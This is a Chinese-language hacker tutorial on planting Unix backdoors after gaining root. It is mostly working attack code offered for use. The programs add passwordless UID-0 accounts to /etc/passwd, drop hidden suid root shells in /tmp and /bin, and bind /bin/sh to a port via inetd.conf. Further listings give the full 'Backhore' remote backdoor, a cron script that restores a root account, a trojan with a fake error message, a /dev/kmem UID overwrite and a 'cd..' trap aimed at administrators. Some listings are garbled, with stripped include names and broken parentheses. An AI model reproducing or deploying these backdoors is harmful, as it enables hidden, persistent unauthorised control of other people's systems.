后门技巧杂谈

sddz

后门技巧杂谈  

[初级]
最简单的方法，就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做，因为只要系统管理员检查口令文件就会“漏馅”了。以下是在 /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。

<++> backdoor/backdoor1.c
#include

main()
{
FILE *fd;
fd=fopen(\"/etc/passwd\",\"a+\");
fprintf(fd,\"hax0r::0:0::/root:/bin/sh\\n\");
}
<-->

比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号的 UID 改为 0，并将其第二个域（口令域）设为空。（注意，如果你使用的是较高版本的*nix，也许还要修改 /etc/shadow 文件。）

在 /tmp 目录下放置 suid shell。以后只要你运行这个程序，就会轻易得到根用户权限。这种方法几乎是最受欢迎的了。但有许多系统每几小时，或者每次启动都会清除 /tmp 目录下的数据，另外一些系统则根本不允许运行 /tmp 目录下的 suid 程序。当然，你可以自己修改或清除这些限制（因为你已是根用户，有权限修改 /var/spool/cron/crontabs/root 和 /etc/fstab 文件）。以下是在 /tmp 目录下放置 suid shell 程序的C源程序。

<++> backdoor/backdoor2.c
#include
main()
{
system(\"cp /bin/sh /tmp/fid\");
system(\"chown root.root /tmp/fid\");
system(\"chmod 4755 /tmp/fid\");
}
<-->


[中级]

超级服务器守护进程（inetd）的配置文件。系统管理员一般情况下不经常检查该文件，因此这倒是个放置“后门”的好地方。 那么在这里如何建立一个最好的后门呢？当然是远程的了。这样你就不必需要本地帐号就可以成为根用户了。首先，让我们先来了解一下这方面的基础知识：inetd 进程负责监听各个TCP和UDP端口的连接请求，并根据连接请求启动相应的服务器进程。该配置文件 /etc/inetd.conf 很简单，基本形式如下：

(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
mountd/1 stream rpc/tcp wait root /usr/etc/mountd mountd

1：第一栏是服务名称。服务名通过查询 /etc/services 文件（供 TCP 和 UDP 服务使用）或 portmap 守护进程（供 RPC 服务使用）映射成端口号。RPC（远程过程调用）服务由 name/num 的名字格式和第三栏中的 rpc 标志识别。
2：第二栏决定服务使用的套接口类型：stream、dgram 或 raw。一般说来，stream 用于 TCP 服务，dgram 用于 UDP， raw 的使用很少见。
3：第三栏标识服务使用的通信协议。允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp。RPC 服务在协议类型前冠以 rpc/。
4：如果所说明的服务一次可处理多个请求（而不是处理一个请求后就退出），那么第四栏应置成 wait，这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适，那么在本栏中填 nowait。
5：第五栏给出运行守护进程的用户名。
6：第六栏给出守护进程的全限定路径名。
7：守护进程的真实名字及其参数。

如果所要处理的工作微不足道（如不需要用户交互），inetd 守护进程便自己处理。此时第六、七栏只需填上 &#39;internal&#39; 即可。所以，要安装一个便利的后门，可以选择一个不常被使用的服务，用可以产生某种后门的守护进程代替原先的守护进程。例如，让其添加 UID 0 的帐号，或复制一个 suid shell。

一个比较好的方法之一，就是将用于提供日期时间的服务 daytime 替换为能够产生一个 suid root 的 shell。只要将 /etc/inetd.conf 文件中的：

daytime stream tcp nowait root internal

修改为：

daytime stream tcp nowait /bin/sh sh -i.

然后重启（记住：一定要重启）inetd 进程：

killall -9 inetd。

但更好、更隐蔽的方法是伪造网络服务，让它能够在更难以察觉的情况下为我们提供后门，例如口令保护等。如果能够在不通过 telnetd 连接的情况下轻松地进行远程访问，那是再好不过了。方法就是将“自己的”守护程序绑定到某个端口，该程序对外来连接不提供任何提示符，但只要直接输入了正确的口令，就能够顺利地进入系统。以下是这种后门的一个示范程序。（注：这个程序写得并不很完整。）

<++> backdoor/remoteback.c
/* Coders:
Theft

Help from:
Sector9, Halogen

Greets: People: Liquid, AntiSocial, Peak, Grimknight, s0ttle,halogen,
Psionic, g0d, Psionic.
Groups: Ethical Mutiny Crew(EMC), Common Purpose hackers(CPH),
Global Hell(gH), Team Sploit, Hong Kong Danger Duo,
Tg0d, EHAP.
Usage:
Setup:
# gcc -o backhore backhore.c # ./backdoor password &
Run:
Telnet to the host on port 4000. After connected you
Will not be prompted for a password, this way it is less
Obvious, just type the password and press enter, after this
You will be prompted for a command, pick 1-8.

Distributers:
Ethical Mutiny Crew

*/

#include
#include
#include
#include
#include
#include
#include
#include


#define PORT 4000
#define MAXDATASIZE 100
#define BACKLOG 10
#define SA struct sockaddr

void handle(int);

int
main(int argc, char *argv[])
{
int sockfd, new_fd, sin_size, numbytes, cmd;
char ask[10]=\"Command: \";
char *bytes, *buf, pass[40];
struct sockaddr_in my_addr;

struct sockaddr_in their_addr;

printf(\"\\n Backhore BETA by Theft\\n\");
printf(\" 1: trojans rc.local\\n\");
printf(\" 2: sends a systemwide message\\n\");
printf(\" 3: binds a root shell on port 2000\\n\");
printf(\" 4: creates suid sh in /tmp\\n\");
printf(\" 5: creates mutiny account uid 0 no passwd\\n\");
printf(\" 6: drops to suid shell\\n\");
printf(\" 7: information on backhore\\n\");
printf(\" 8: contact\\n\");

if (argc != 2) {
fprintf(stderr,\"Usage: %s password\\n\", argv[0]);
exit(1);
}

strncpy(pass, argv[1], 40);
printf(\"..using password: %s..\\n\", pass);


if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror(\"socket\");
exit(1);
}

my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;

if (bind(sockfd, (SA *)&my_addr, sizeof(SA)) == -1) {

perror(\"bind\");
exit(1);
}

if (listen(sockfd, BACKLOG) == -1) {
perror(\"listen\");
exit(1);
}

sin_size = sizeof(SA);
while(1) { /* main accept() loop */
if ((new_fd = accept(sockfd, (SA *)&their_addr, &sin_size)) == -1) {
perror(\"accept\");
continue;
}
if (!fork()) {
dup2(new_fd, 0);
dup2(new_fd, 1);
dup2(new_fd, 2);
fgets(buf, 40, stdin);
if (!strcmp(buf, pass)) {
printf(\"%s\", ask);
cmd = getchar();
handle(cmd);
}
close(new_fd);
exit(0);
}
close(new_fd);
while(waitpid(-1,NULL,WNOHANG) > 0); /* rape the dying children */
}
}



void
handle(int cmd)
{
FILE *fd;

switch(cmd) {
case &#39;1&#39;:
printf(\"\\nBackhore BETA by Theft\\n\");
printf(\"theft@cyberspace.org\\n\");
printf(\"Trojaning rc.local\\n\");
fd = fopen(\"/etc/passwd\", \"a+\");
fprintf(fd, \"mutiny::0:0:ethical mutiny crew:/root:/bin/sh\");
fclose(fd);
printf(\"Trojan complete.\\n\");
break;
case &#39;2&#39;:
printf(\"\\nBackhore BETA by Theft\\n\");
printf(\"theft@cyberspace.org\\n\");
printf(\"Sending systemwide message..\\n\");
system(\"wall Box owned via the Ethical Mutiny Crew\");
printf(\"Message sent.\\n\");
break;
case &#39;3&#39;:
printf(\"\\nBackhore BETA by Theft\\n\");
printf(\"theft@cyberspace.org\\n\");
printf(\"\\nAdding inetd backdoor... (-p)\\n\");
fd = fopen(\"/etc/services\",\"a+\");
fprintf(fd,\"backdoor\\t2000/tcp\\tbackdoor\\n\");
fd = fopen(\"/etc/inetd.conf\",\"a+\");
fprintf(fd,\"backdoor\\tstream\\ttcp\\tnowait\\troot\\t/bin/sh -i\\n\");
execl(\"killall\", \"-HUP\", \"inetd\", NULL);
printf(\"\\ndone.\\n\");
printf(\"telnet to port 2000\\n\\n\");
break;
case &#39;4&#39;:
printf(\"\\nBackhore BETA by Theft\\n\");
printf(\"theft@cyberspace.org\\n\");
printf(\"\\nAdding Suid Shell... (-s)\\n\");
system(\"cp /bin/sh /tmp/.sh\");
system(\"chmod 4700 /tmp/.sh\");
system(\"chown root:root /tmp/.sh\");
printf(\"\\nSuid shell added.\\n\");
printf(\"execute /tmp/.sh\\n\\n\");
break;
case &#39;5&#39;:
printf(\"\\nBackhore BETA by Theft\\n\");
printf(\"theft@cyberspace.org\\n\");
printf(\"\\nAdding root account... (-u)\\n\");
fd=fopen(\"/etc/passwd\",\"a+\");
fprintf(fd,\"hax0r::0:0::/:/bin/bash\\n\");
printf(\"\\ndone.\\n\");
printf(\"uid 0 and gid 0 account added\\n\\n\");
break;
case &#39;6&#39;:
printf(\"\\nBackhore BETA by Theft\\n\");
printf(\"theft@cyberspace.org\\n\");
printf(\"Executing suid shell..\\n\");

execl(\"/bin/sh\");
break;
case &#39;7&#39;:
printf(\"\\nBackhore BETA by Theft\\n\");
printf(\"theft@cyberspace.org\\n\");
printf(\"\\nInfo... (-i)\\n\");
printf(\"\\n3 - Adds entries to /etc/services & /etc/inetd.conf giving you\\n\");
printf(\"a root shell on port 2000. example: telnet 2000\\n\\n\");
printf(\"4 - Creates a copy of /bin/sh to /tmp/.sh which, whenever\\n\");
printf(\"executed gives you a root shell. example:/tmp/.sh\\n\\n\");
printf(\"5 - Adds an account with uid and gid 0 to the passwd file.\\n\");
printf(\"The login is &#39;mutiny&#39; and there is no passwd.\");
break;
case &#39;8&#39;:
printf(\"\\nBackhore BETA by Theft\\n\");
printf(\"\\nhttp://theft.bored.org\\n\");
printf(\"theft@cyberspace.org\\n\\n\");
break;
default:
printf(\"unknown command: %d\\n\", cmd);
break;
}
}
<-->


[高级]

Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间（月、日、周、时、分）运行。如果你足够聪明，就应该加以利用，使之为我们制造“后门”！通过 Cron 服务，你可以让它在每天凌晨 3:00 （这个时候网管应该睡觉了吧。）运行后门程序，使你能够轻易进入系统干你想干的事，并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中，其格式如下：

(1) (2) (3) (4) (5) (6)
0 0 * * 3 /usr/bin/updatedb

1. 分钟 (0-60)
2. 小时 (0-23)
3. 日 (1-31)
4. 月 (1-12)
5. 星期 (1-7)
6. 所要运行的程序

以上内容设置该程序于每星期三 0:0 运行。要在 cron 建立后门，只需在 /var/spool/crontab/root 中添加后门程序即可。例如该程序可以在每天检查我们在 /etc/passwd 文件中增加了用户帐号是否仍然有效。以下是程序示例：

0 0 * * * /usr/bin/retract

<++> backdoor/backdoor.sh
#!/bin/csh

set evilflag = (`grep eviluser /etc/passwd`)


if($#evilflag == 0) then

set linecount = `wc -l /etc/passwd`
cd
cp /etc/passwd ./temppass
@ linecount[1] /= 2
@ linecount[1] += 1
split -$linecount[1] ./temppass
echo \"Meb::0:0:Meb:/root:/bin/sh\" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo Done...
else
endif
<-->


[综合]

当然，我们可以编写木马程序，并把它放到 /bin 目录下。当以特定命令行参数运行时将产生一个 suid shell。以下是程序示例：

<++> backdoor/backdoor3.c
#include
#define pass \"triad\"
#define BUFFERSIZE 6

int main(argc, argv)
int argc;
char *argv[];{

int i=0;

if(argv[1]){

if(!(strcmp(pass,argv[1]))){


system(\"cp /bin/csh /bin/.swp121\");
system(\"chmod 4755 /bin/.swp121\");
system(\"chown root /bin/.swp121\");
system(\"chmod 4755 /bin/.swp121\");
}
}

printf(\"372f: Invalid control argument, unable to initialize. Retrying\");
for(;i<10;i++){
fprintf(stderr,\".\");
sleep(1);
}
printf(\"\\nAction aborted after 10 attempts.\\n\");
return(0);
}
<-->


[变种]

以下程序通过在内存中寻找你所运行程序的 UID，并将其改为 0，这样你就有了一个 suid root shell 了。

<++> backdoor/kmemthief.c
#include
#include
#include
#include
#include
#include
#include

#define pass \"triad\"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

int count, fd;
long where, lseek();

if(argv[1]){
if(!(strcmp(pass,argv[1]))){
fd=(open(\"/dev/kmem\",O_RDWR);

if(fd<0){
printf(\"Cannot read or write to
/dev/kmem\\n\");
perror(argv);
exit(10);
}

userlocation=address();
where=(lseek(fd,userlocation,0);

if(where!=userlocation){
printf(\"Cannot seek to user page\\n\");
perror(argv);
exit(20);
}

count=read(fd,&userpage,sizeof(struct user));

if(count!=sizeof(struct user)){
printf(\"Cannot read user page\\n\");
perror(argv);
exit(30);
}

printf(\"Current UID: %d\\n\",userpage.u_ruid);
printf(\"Current GID: %d\\n\",userpage.g_ruid);

userpage.u_ruid=0;
userpage.u_rgid=0;

where=lseek(fd,userlocation,0);

if(where!=userlocation){
printf(\"Cannot seek to user page\\n\");
perror(argv);
exit(40);
}

write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));

execle(\"/bin/csh\",\"/bin/csh\",\"-i\",(char *)0, envp);
}
}

}
<-->


[“笨”方法]

你有没有曾经试过在 UNIX 系统下错把 \"cd ..\" 输入为 \"cd..\"？这是由于使用 MS Windows 和 MS-DOS 养成的习惯。这种错误网管是否也会犯呢？如果是这样的话，可不可以让他为我们做点“贡献”呢？ 例如当他输入 \"cd..\" 时，会激活我们的木马程序。这样我们就不必登录到系统去激活木马了。以下是程序示例：

<++> backdoor/dumb.c
/*
本程序可在管理员偶然地输入 cd.. 时向 /etc/passwd 文件添加一个 UID 0 帐号。但同时它也实现 cd .. 功能，从而骗过管理员。
*/

#include
#include

main()
{
FILE *fd;
fd=fopen(\"/etc/passwd\",\"a+\");
fprintf(fd,\"hax0r::0:0::/root:/bin/sh\\n\");
system(\"cd\");
}
<-->

把上面的程序编译好，放到隐蔽的地方。最好使用 chown 命令将该程序的属主改为 root，使管理员使用 \"ls -alF\" 命令看到 suid 程序时不至于怀疑。

好了，将这个程序（假设其名为 fid）放好以后，下一步的工作就是建立该程序到 \"cd..\" 的链接：ln cd.. /bin/out。这样，只要系统管理员犯了这个输入错误，你就可以又一次得到系统控制权了